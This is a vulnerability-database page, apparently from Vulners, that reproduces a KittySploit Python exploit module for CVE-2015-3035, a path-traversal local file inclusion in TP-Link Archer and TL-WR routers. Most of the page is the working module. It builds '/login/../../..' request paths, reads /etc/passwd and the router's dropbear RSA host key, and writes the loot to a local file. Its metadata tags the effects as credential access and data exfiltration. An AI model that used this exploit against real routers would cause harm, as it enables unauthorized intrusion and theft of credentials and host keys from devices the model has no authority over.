Lucene search
+L

TP-Link Router LFI (CVE-2015-3035)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Local file inclusion in TP-Link Archer/TL-WR routers via path traversal reads local files.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""TP-Link Archer local file inclusion (CVE-2015-3035)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'TP-Link Router LFI (CVE-2015-3035)',
        'description': (
            'Exploits CVE-2015-3035 in TP-Link Archer/TL-WR routers: path traversal via '
            '/login/../../../ reads arbitrary local files including password stores.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2015-3035'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2015-3035'],
        'tags': ['tplink', 'tp-link', 'router', 'lfi', 'kev', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read', 'credentials'],
            'chain': {'suggested_followups': ['scanner/http/cve_2015_3035_detect']},
        },
    }

    file_path = OptString('/etc/passwd', 'Remote file to read', required=True)
    output_file = OptString('', 'Local output file', required=False)

    def _path(self, remote: str) -> str:
        depth = '../' * 8
        target = remote.lstrip('/')
        return f'/login/{depth}{target}'

    def execute(self, remote_path: str) -> str:
        r = self.http_request(method='GET', path=self._path(remote_path), allow_redirects=False)
        return (r.text or '') if r and r.status_code == 200 else ''

    def check(self):
        body = self.execute(str(self.file_path or '/etc/passwd'))
        if re.search(r'root:[x*]:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'TP-Link traversal confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'TP-Link LFI failed', 'confidence': 'medium'}

    def run(self):
        body = ''
        for target in (
            str(self.file_path or '/etc/passwd'),
            'tmp/dropbear/dropbear_rsa_host_key',
        ):
            body = self.execute(target)
            if body:
                print_success(f'{target} — {len(body)} bytes')
                print_status(body[:3000])
        out = str(self.output_file or '').strip()
        if out and body:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
        return bool(body)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
7.8High risk
Vulners AI Score7.8
CVSS 3.17.5
CVSS 27.8
EPSS0.83948
SSVC
2